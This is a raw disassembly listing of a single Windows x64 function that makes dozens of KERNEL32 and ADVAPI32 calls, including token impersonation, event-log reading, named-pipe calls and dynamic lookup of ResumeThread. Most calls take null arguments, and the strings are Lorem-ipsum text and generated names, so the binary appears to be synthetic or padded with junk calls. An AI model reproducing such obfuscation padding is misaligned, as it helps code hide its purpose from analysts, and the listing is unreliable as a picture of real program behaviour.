mov rax, qword [rsp + 0x68]
call rax
mov r11, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x50], r11
call r11
mov rax, qword [0x004cac20]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae10]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov ecx, 0xbaa5a063
call fcn.00414620
mov rdx, qword [0x004ca630]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [0x004ca460]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca730]
lea rdx, str.SchuylerDouglas
mov dword [rcx], eax
lea rcx, str.Harum_quia_cupiditate_est
mov rax, qword [rsp + 0x70]
call rax
lea rdx, str.Reiciendis_eos_voluptate_expedita_dolore_deserunt_minima
lea rcx, str.Molestiae_aliquid_aut_odit_natus_est_nobis_et
mov rax, qword [rsp + 0x70]
call rax
xor r8d, r8d
xor edx, edx
mov r13, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
call r13
mov rax, qword [0x004ca730]
xor ecx, ecx
mov dword [rax], 0x82e319a8
mov rax, qword [0x004ca1c0]
mov dword [rax], 0x2d8c5f22
call r14
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r13
mov ecx, 0x40b2d7f8
call fcn.00414620
mov rdx, qword [0x004cae30]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004ca4f0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x9796e986
mov rax, qword [0x004caf50]
mov dword [rax], 0xd291141d
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0
call rax
mov r14, qword [0x004ca230]
mov r11, qword [rsp + 0x50]
xor ecx, ecx
mov rax, qword [0x004ca330]
mov edx, dword [r14]
mov dword [rax], edx
call r11
mov rax, qword [0x004ca3b0]
lea rcx, str.ChristinaJohnson
mov dword [rax], 0x4fbc3b66
mov rax, qword [0x004cad50]
mov edx, dword [rax]
mov rax, qword [0x004ca2a0]
mov dword [rax], edx
mov rax, qword [0x004caa50]
mov rdx, qword [0x004ca7b0]
mov dword [rax], 0xf79b7c68
mov rax, qword [0x004caec0]
mov dword [rax], 0x1d12d772
mov rax, qword [0x004cac60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca420]
xor ecx, ecx
mov dword [rax], 0x966a59cb
call rdi
mov rax, qword [0x004cae00]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x87520ccb
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [0x004ca5f0]
mov rcx, qword [0x004ca460]
xor edx, edx
mov dword [rax], 0x7f49d806
mov rax, qword [0x004caa50]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004caf20]
xor ecx, ecx
mov dword [rax], 0xea9485a3
call rbp
mov rax, qword [0x004ca7b0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x4f420e4a
mov rax, qword [0x004ca480]
mov dword [rax], 0x87876c15
call r13
xor ecx, ecx
call rdi
mov r11, qword [rsp + 0x50]
xor ecx, ecx
call r11
mov eax, dword [r14]
mov rdi, qword [0x004ca520]
mov dword [rdi], eax
mov rax, qword [0x004ca810]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004cae80]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rdi], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rsi
xor edx, edx
xor ecx, ecx
call r12
lea rcx, str.Ad_tempora_omnis_nihil_sed_tempora
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
call r15
lea rdx, str.ResumeThread
lea rcx, [0x004c222f]
call fcn.00410845
mov rcx, qword [rsp + 0x48]
call rax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x2cb0
jle 0x4032eb
mov r13, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Nobis_quis_ut_voluptatem_quis_optio_ea_repellendus
lea rcx, str.Beatae_possimus_explicabo_nam
call r13
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rsi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca2b0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xf147cec3
call rsi
mov r10, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x78], r10
call r10
mov ecx, 0x2c45e18c
call fcn.00414620
mov rdx, qword [0x004cac00]
mov rdi, qword [0x004ca240]
mov dword [rdx], eax
mov rax, qword [0x004ca5b0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cada0]
mov dword [rax], 0x1bb1df8b
mov rax, qword [0x004ca470]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca750]
mov dword [rdx], eax
mov rax, qword [0x004caeb0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca570]
mov dword [rdx], eax
mov rax, qword [0x004ca7f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2f0]
mov ecx, 0xcaad40e5
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cae20]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
mov qword [rsp + 0x40], rax
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca6c0]
xor edx, edx
xor ecx, ecx
lea r8, str.Impedit_eos_omnis_maiores_harum_itaque
mov rbp, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [rax], 0xcf7c9405
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov ecx, 0x91b90c10
call fcn.00414620
mov r11, qword [0x004caee0]
mov rdx, qword [0x004ca520]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r11]
mov rax, qword [0x004caf40]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov rbx, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca300]
mov dword [rax], 0x4739024e
mov rax, qword [0x004ca550]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac20]
mov r14, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca3e0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cab20]
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004ca7c0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc5e3667d
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca2d0]
lea rdx, str.Occaecati_dolor_magni_asperiores_repellat_dolorum_repellat_enim_rerum_quisquam
lea rcx, str.IsaiOkuneva
mov dword [rax], 0xe8bd87ec
call r13
lea r8, str.EudoraCasper
xor edx, edx
xor ecx, ecx
call rbp
mov r9, qword [0x004cac50]
mov rax, qword [0x004ca650]
lea rcx, str.ConstanceBalistreriDDS
mov r12, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [r9]
mov dword [rax], edx
call r12
xor ecx, ecx
call r14
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004cae10]
mov r15, qword [0x004ca390]
xor ecx, ecx
lea r8, str.Ipsam_dicta_totam_ipsa_in
mov edx, dword [rax]
mov rax, qword [0x004caa00]
mov dword [rax], edx
mov edx, dword [r15]
mov rax, qword [0x004ca260]
mov dword [rax], edx
xor edx, edx
call rbp
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004ca490]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca690]
mov dword [rdx], eax
mov rax, qword [0x004caf20]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca240]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004ca5d0]
mov ecx, dword [rax]
call fcn.00414620
mov r9, qword [0x004cac50]
xor edx, edx
xor ecx, ecx
mov dword [r9], eax
call rdi
mov rax, qword [0x004ca220]
mov r14, qword [0x004ca510]
mov rcx, qword [0x004caf60]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, dword [r14]
call fcn.00414620
mov rdx, qword [0x004ca3e0]
mov rcx, qword [0x004ca2e0]
mov dword [rdx], eax
mov rax, qword [0x004ca820]
mov edx, dword [rax]
mov rax, qword [0x004caa30]
mov dword [rax], edx
mov eax, dword [r15]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [0x004ca710]
xor edx, edx
lea rcx, str.Architecto_nesciunt_eveniet_soluta_omnis_non_eum_totam_vel_recusandae
mov dword [rax], 0xbcae2d42
mov rax, qword [0x004cad60]
mov dword [rax], 0x5ef34a3e
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004ca5d0]
mov rdx, qword [0x004ca710]
lea rcx, str.Eligendi_sint_repudiandae_debitis_itaque_iure
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.HaileyKuhlmanPhD
call r13
mov rax, qword [0x004cae50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca6a0]
mov dword [rdx], eax
mov rax, qword [0x004cac30]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf10]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca1d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca810]
mov edx, dword [rax]
mov rax, qword [0x004cac10]
mov dword [rax], edx
mov rax, qword [0x004caa60]
xor edx, edx
mov dword [rax], 0x5c63db2d
call rbx
mov rax, qword [0x004ca470]
mov dword [rax], 0x3f04febc
mov rax, qword [0x004ca240]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca740]
mov ecx, 0x78c4b16e
mov dword [rdx], eax
mov rax, qword [0x004ca1b0]
mov edx, dword [rax]
mov rax, qword [0x004cabf0]
mov dword [rax], edx
call fcn.00414620
mov dword [r14], eax
mov rax, qword [0x004caef0]
mov ecx, dword [rax]
call fcn.00414620
mov r14, qword [0x004ca9a0]
mov dword [r14], eax
mov rax, qword [0x004caf80]
mov ecx, dword [rax]
call fcn.00414620
mov r11, qword [0x004caee0]
xor ecx, ecx
mov dword [r11], eax
mov r11, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x70], r11
call r11
mov ecx, 0x84b47eec
call fcn.00414620
mov rdx, qword [0x004ca430]
mov dword [rdx], eax
mov rax, qword [0x004ca530]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad90]
mov rcx, qword [0x004cae40]
mov dword [rdx], eax
mov rax, qword [0x004ca2e0]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca3d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cab50]
mov dword [rax], edx
xor edx, edx
call rbx
mov ecx, 0xa252a30
call fcn.00414620
mov rdx, qword [0x004ca6f0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov r10, qword [rsp + 0x78]
xor ecx, ecx
call r10
mov rax, qword [0x004ca1f0]
mov dword [rax], 0x4449fa0b
mov rax, qword [0x004cad30]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004caf70]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov r10, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x58], r10
call r10
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
lea rcx, str.Id_repudiandae_sit_libero_corporis_laudantium_dolores_eos_illo_minima_rerum_labore
call r12
mov r10, qword [rsp + 0x58]
xor ecx, ecx
call r10
mov rax, qword [0x004ca3e0]
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [0x004ca670]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab40]
mov dword [rdx], eax
mov rax, qword [0x004ca410]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca630]
mov dword [rdx], eax
mov rax, qword [0x004caaa0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caec0]
xor ecx, ecx
mov r11, qword [rsp + 0x70]
mov dword [rdx], eax
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004ca6f0]
mov rcx, qword [0x004caef0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cae40]
xor ecx, ecx
mov dword [rax], 0x19c44bde
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004ca7f0]
lea rdx, str.VellaLubowitzV
lea rcx, str.Et_sed_sint_minima_ut_aliquam
mov dword [rax], 0xa844a30b
call r13
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004ca5d0]
mov rdx, qword [0x004ca3e0]
mov rcx, qword [0x004caf70]
mov r15, qword [0x004ca400]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004caf00]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cadb0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [0x004ca700]
mov dword [rax], 0xc18cb2cf
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004caca0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca1e0]
mov dword [rax], edx
xor edx, edx
call rdi
mov rdx, qword [0x004ca5b0]
mov eax, dword [r14]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rdx], eax
call r13
lea rcx, str.GarrickGibsonJr
call r12
mov edx, dword [r15]
mov rax, qword [0x004ca9c0]
mov dword [rax], edx
mov rax, qword [0x004caf60]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca210]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x48]
call rax
mov ecx, 0xad634697
call fcn.00414620
mov rcx, qword [0x004caef0]
xor edx, edx
mov dword [rcx], eax
mov rax, qword [0x004caa60]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r14], eax
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
lea rcx, str.RamonHessel
call r12
xor ecx, ecx
call r13
mov rax, qword [0x004ca700]
mov rsi, qword [0x004cab40]
mov ecx, 0x322efbf8
mov eax, dword [rax]
mov dword [rsi], eax
call fcn.00414620
mov rdx, qword [0x004ca250]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov rax, qword [0x004cae40]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4c0]
mov dword [rdx], eax
mov rax, qword [0x004caea0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca710]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
call rbx
lea r8, str.Et_possimus_nihil_minus
xor edx, edx
xor ecx, ecx
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
lea r8, str.Enim_est_omnis
xor edx, edx
xor ecx, ecx
call rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [0x004ca4d0]
mov dword [rax], 0xc901248c
add rsp, 0x558
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret